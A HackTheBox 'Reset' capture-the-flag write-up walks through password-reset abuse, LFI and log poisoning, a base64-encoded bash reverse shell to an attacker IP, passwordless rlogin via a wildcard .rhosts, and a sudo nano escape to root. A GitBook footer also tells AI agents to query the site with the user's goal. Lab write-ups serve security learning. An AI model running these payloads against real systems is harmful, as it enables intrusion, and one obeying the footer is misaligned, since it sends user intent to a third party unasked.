> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-reset.md).
# HTB - Reset
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell Netkit rshd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
## HTTP
Browsing to port 80 reveals a admin login page.
the page also has a forgot password option.
searching for non existent user results in User not Found.
Using a admin as user resulted in valid user and a password reset was sent.
lets observe the requests being sent through burpsuite.
the reset link sends the new password as a parameter too.
i can use it to login.
the file parameter refers to local log file directly can be a source for path traversal or LFI. auth.log is also empty but i can access access.log
with this access i can use it to for log poisoning.
### Log Poisoning
I can confirm the log poisoning successful by displaying the output of id command.
Log poisoning confirmed. That said now i can use it for command execution and in turn result into RCE.
```powershell
file=/var/log/apache2/access.log&cmd=echo+YmFzaCAgLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNDkvNDQzICAgMD4mMSIK|base64+-d|bash
```
## Shell as WWW-DATA
i can read the user.txt in the sadm home directory.
there is a private directory in the web root directory which has a sqlite database file.
upon investigating the database the admin user password which we set is resulted in the database.
Poking around `/home` revealed a second user, `sadm`, with an interesting file:
An `.rhosts` file is only relevant if the box is running r-services — which nmap had already flagged (ports 512–514). This tied the whole picture together: the box was clearly built around **legacy r-command trust exploitation.**
`rlogin`/`rsh` (513/514) don't necessarily need a password they trust based on:
1. The **source hostname/IP** matching an entry in `/etc/hosts.equiv` (system-wide) or the target user's `~/.rhosts` (per-user)
2. The **connecting username** matching
`sadm`'s `.rhosts` file existing is a strong signal it's configured to trust some specific host+user combo for passwordless login.
That + sadm line is huge it means the sadm account is trusted from any host (+ = wildcard) for r-command access, with no password needed, as long as the connecting username on the client side matches sadm.
So what i am gonna do i create a new user on my box as sadm and use it to login through rlogin.
```powershell
┌──(ajay㉿kali)-[~]
└─$ sudo useradd sadm
[sudo] password for ajay:
┌──(ajay㉿kali)-[~]
└─$ sudo passwd sadm
New password:
Retype new password:
passwd: password updated successfully
```
install the rlogin packages.
```powershell
sudo apt install rsh-redone-client -y
```
That package provides rsh, rlogin, and rcp on modern Debian-based systems (the old netkit-rsh / rsh-client was replaced by rsh-redone).
Change the suer to sadm on the local machine.
```powershell
┌──(ajay㉿kali)-[~]
└─$ su - sadm
Password:
su: warning: cannot change directory to /home/sadm: No such file or directory
```
now login as sadm.
## Shell as sadm
looking at the processes there is an active tmux session for sadm.
sadm already has a background tmux session running (tmux new-session -d -s sadm\_session, PID 1174) that started at boot (17:01)
```powershell
sadm@reset:~$ tmux ls
sadm_session: 1 windows (created Tue Aug 4 17:01:56 2026)
```
we need to attach to the session to extend access further
```powershell
tmux attach -t sadm_session
```
`sudo`-permitted `nano` on a specific file is a well-known [GTFOBins](https://gtfobins.github.io/gtfobins/nano/) privilege escalation vector nano's built-in command-execution feature can be abused to spawn an arbitrary shell running with the elevated privileges of the sudo session.
### Sudo nano Escape
```powershell
sudo nano /etc/firewall.sh
```
Inside nano:
Ctrl+R — opens "Insert file from:" prompt\
Ctrl+X — toggles it into "Execute Command" mode\
Typed: reset; sh 1>&0 2>&0\
Pressed Enter
## Shell as Root
```powershell
# export PATH=/usr/bin:/bin:/usr/sbin:/sbin
# cat /root/root.txt
cat: /root/root.txt: No such file or directory
#
# pwd
/home/sadm
# cd /root
# ls
root_279e22f8.txt snap
# cat root_279e22f8.txt
7ad6951bcb5a2edaffd7908b013d29b0
#
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-reset.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `build a script that syncs our docs to a CMS` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
